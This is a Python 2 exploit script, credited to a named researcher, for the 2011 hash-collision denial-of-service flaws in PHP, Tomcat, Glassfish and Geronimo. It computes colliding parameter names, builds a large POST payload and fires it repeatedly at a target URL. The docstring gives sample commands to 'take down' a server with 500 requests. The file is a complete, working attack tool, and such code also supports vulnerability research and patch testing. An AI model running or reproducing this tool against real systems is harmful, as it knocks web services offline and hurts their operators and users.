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#! /usr/bin/env python
"""
This script was written by Christian Mehlmauer <FireFart@gmail.com>
https://twitter.com/#!/_FireFart_
Sourcecode online at:
https://github.com/FireFart/HashCollision-DOS-POC
Original PHP Payloadgenerator taken from https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
http://www.ocert.org/advisories/ocert-2011-003.html
CVE:
Apache Geronimo: CVE-2011-5034
Oracle Glassfish: CVE-2011-5035
PHP: CVE-2011-4885
Apache Tomcat: CVE-2011-4858
requires Python 2.7
Examples:
-) Make a single Request, wait for the response and save the response to output0.html
python HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output -t PHP
-) Take down a PHP server(make 500 requests without waiting for a response):
python HashtablePOC.py -u https://host/index.php -v -c 500 -t PHP
-) Take down a JAVA server(tested with Tomcat and Glassfish; make 500 requests without waiting for a response, maximum POST data size 2MB):
python HashtablePOC.py -u https://host/index.jsp -v -c 500 -t JAVA -m 2
Changelog:
v6.0: Added Javapayloadgenerator
v5.0: Define max payload size as parameter
v4.0: Get PHP Collision Chars on the fly
v3.0: Load Payload from file
v2.0: Added Support for https, switched to HTTP 1.1
v1.0: Initial Release
"""
import socket
import sys
import math
import urllib
import string
import time
import urlparse
import argparse
import ssl
import random
import itertools
class Payloadgenerator:
# Maximum recursions when searching for collisionchars
_recursivemax = 15
_recursivecounter = 1
def __init__(self, verbose, collisionchars = 5, collisioncharlength = 2, payloadlength = 8):
self._verbose = verbose
self._collisionchars = collisionchars
self._collisioncharlength = collisioncharlength
self._payloadlength = payloadlength
def generateASPPayload(self):
raise Exception("ASP Payload not implemented")
def generateJAVAPayload(self):
a = self._computeJAVACollisionChars(self._collisionchars)
return self._generatePayload(a, self._payloadlength)
def generatePHPPayload(self):
# Note: Default max POST Data Length in PHP is 8388608 bytes (8MB)
# compute entries with collisions in PHP hashtable hash function
a = self._computePHPCollisionChars(self._collisionchars)
return self._generatePayload(a, self._payloadlength);
def _computePHPCollisionChars(self, count):
charrange = range(0, 256)
return self._computeCollisionChars(self._DJBX33A, count, charrange)
def _computeJAVACollisionChars(self, count):
charrange = range(0, 129)
return self._computeCollisionChars(self._DJBX31A, count, charrange)
def _computeCollisionChars(self, function, count, charrange):
hashes = {}
counter = 0
length = self._collisioncharlength
a = ""
for i in charrange:
a = a+chr(i)
source = list(itertools.product(a, repeat=length))
basestr = ''.join(random.choice(source))
basehash = function(basestr)
hashes[str(counter)] = basestr
counter = counter + 1
for item in source:
tempstr = ''.join(item)
if tempstr == basestr:
continue
if function(tempstr) == basehash:
hashes[str(counter)] = tempstr
counter = counter + 1
if counter >= count:
break;
if counter < count:
# Try it again
if self._recursivecounter > self._recursivemax:
print("Not enought values found. Please start this script again")
sys.exit(1)
print("%d: Not enough values found. Trying it again..." % self._recursivecounter)
self._recursivecounter = self._recursivecounter + 1
hashes = self._computeCollisionChars(function, count, charrange)
else:
if self._verbose:
print("Found values:")
for item in hashes:
tempstr = hashes[item]
print("\tValue: %s\tHash: %s" % (tempstr, function(tempstr)))
for i in tempstr:
print("\t\tValue: %s\tCharcode: %d" % (i, ord(i)))
return hashes
def _DJBXA(self, inputstring, base, start):
counter = len(inputstring) - 1
result = start
for item in inputstring:
result = result + (math.pow(base, counter) * ord(item))
counter = counter - 1
return int(round(result))
#PHP
def _DJBX33A(self, inputstring):
return self._DJBXA(inputstring, 33, 5381)
#Java
def _DJBX31A(self, inputstring):
return self._DJBXA(inputstring, 31, 0)
#ASP
def _DJBX33X(self, inputstring):
counter = len(inputstring) - 1
result = 5381
for item in inputstring:
result = result + (int(round(math.pow(33, counter))) ^ ord(item))
counter = counter - 1
return int(round(result))
def _generatePayload(self, collisionchars, payloadlength):
# Taken from:
# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
# how long should the payload be
length = payloadlength
size = len(collisionchars)
post = ""
maxvaluefloat = math.pow(size,length)
maxvalueint = int(math.floor(maxvaluefloat))
for i in range (maxvalueint):
inputstring = self._base_convert(i, size)
result = inputstring.rjust(length, "0")
for item in collisionchars:
result = result.replace(str(item), collisionchars[item])
post += urllib.urlencode({result:""}) + "&"
return post;
def _base_convert(self, num, base):
fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
alphabet = fullalphabet[:base]
if (num == 0):
return alphabet[0]
arr = []
base = len(alphabet)
while num:
rem = num % base
num = num // base
arr.append(alphabet[rem])
arr.reverse()
return "".join(arr)
def main():
parser = argparse.ArgumentParser(description="Take down a remote Host via Hashcollisions", prog="Universal Hashcollision Exploit")
parser.add_argument("-u", "--url", dest="url", help="Url to attack", required=True)
parser.add_argument("-w", "--wait", dest="wait", action="store_true", default=False, help="wait for Response")
parser.add_argument("-c", "--count", dest="count", type=int, default=1, help="How many requests")
parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output")
parser.add_argument("-s", "--save", dest="save", help="Save payload to file")
parser.add_argument("-p", "--payload", dest="payload", help="Save payload to file")
parser.add_argument("-o", "--output", dest="output", help="Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w")
parser.add_argument("-t", "--target", dest="target", help="Target of the attack", choices=["ASP", "PHP", "JAVA"], required=True)
parser.add_argument("-m", "--max-payload-size", dest="maxpayloadsize", help="Maximum size of the Payload in Megabyte. PHPs defaultconfiguration does not allow more than 8MB, Tomcat is 2MB", type=int)
parser.add_argument("-g", "--generate", dest="generate", help="Only generate Payload and exit", default=False, action="store_true")
parser.add_argument("--version", action="version", version="%(prog)s 6.0")
options = parser.parse_args()
if options.target == "PHP":
if not options.maxpayloadsize or options.maxpayloadsize == 0:
maxpayloadsize = 8
else:
maxpayloadsize = options.maxpayloadsize
elif options.target == "ASP":
if not options.maxpayloadsize or options.maxpayloadsize == 0:
maxpayloadsize = 8
else:
maxpayloadsize = options.maxpayloadsize
elif options.target == "JAVA":
if not options.maxpayloadsize or options.maxpayloadsize == 0:
maxpayloadsize = 2
else:
maxpayloadsize = options.maxpayloadsize
else:
print("Target %s not yet implemented" % options.target)
sys.exit(1)
url = urlparse.urlparse(options.url)
if not url.scheme:
print("Please provide a scheme to the URL(http://, https://,..")
sys.exit(1)
host = url.hostname
path = url.path
port = url.port
if not port:
if url.scheme == "https":
port = 443
elif url.scheme == "http":
port = 80
else:
print("Unsupported Protocol %s" % url.scheme)
sys.exit(1)
if not path:
path = "/"
if not options.payload:
print("Generating Payload...")
# Number of colliding chars to find
collisionchars = 5
# Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)
collisioncharlength = 2
# Length of each parameter in the payload
payloadlength = 8
generator = Payloadgenerator(options.verbose, collisionchars, collisioncharlength, payloadlength)
if options.target == "PHP":
payload = generator.generatePHPPayload()
elif options.target == "ASP":
#payload = generateASPPayload()
print("Target %s not yet implemented" % options.target)
sys.exit(1)
elif options.target == "JAVA":
payload = generator.generateJAVAPayload()
else:
print("Target %s not yet implemented" % options.target)
sys.exit(1)
print("Payload generated")
else:
f = open(options.payload, "r")
payload = f.read()
f.close()
print("Loaded Payload from %s" % options.payload)
# trim to maximum payload size (in MB)
maxinmb = maxpayloadsize*1024*1024
payload = payload[:maxinmb]
# remove last invalid(cut off) parameter
position = payload.rfind("=&")
payload = payload[:position+1]
# Save payload
if options.save:
f = open(options.save, "w")
f.write(payload)
f.close()
print("Payload saved to %s" % options.save)
# User selected to only generate the payload
if options.generate:
return
print("Host: %s" % host)
print("Port: %s" % str(port))
print("path: %s" % path)
print
print
for i in range(options.count):
print("sending Request #%s..." % str(i+1))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if url.scheme == "https":
ssl_sock = ssl.wrap_socket(sock)
ssl_sock.connect((host, port))
ssl_sock.settimeout(None)
else:
sock.connect((host, port))
sock.settimeout(None)
request = "POST %s HTTP/1.1\r\n\
Host: %s\r\n\
Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n\
Connection: Close\r\n\
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)\r\n\
Content-Length: %s\r\n\
\r\n\
%s\r\n\
\r\n" % (path, host, str(len(payload)), payload)
if url.scheme == "https":
ssl_sock.send(request)
else:
sock.send(request)
if options.verbose:
if len(request) > 400:
print(request[:400]+"....")
else:
print(request)
print("")
if options.wait or options.output:
start = time.time()
if url.scheme == "https":
data = ssl_sock.recv(1024)
string = ""
while len(data):
string = string + data
data = ssl_sock.recv(1024)
else:
data = sock.recv(1024)
string = ""
while len(data):
string = string + data
data = sock.recv(1024)
elapsed = (time.time() - start)
print("Request %s finished" % str(i+1))
print("Request %s duration: %s" % (str(i+1), elapsed))
split = string.partition("\r\n\r\n")
header = split[0]
content = split[2]
if options.verbose:
# only print http header
print("")
print(header)
print("")
if options.output:
f = open(options.output+str(i)+".html", "w")
f.write("<!-- "+header+" -->\r\n"+content)
f.close()
if url.scheme == "https":
ssl_sock.close()
sock.close()
else:
sock.close()
if __name__ == "__main__":
main()
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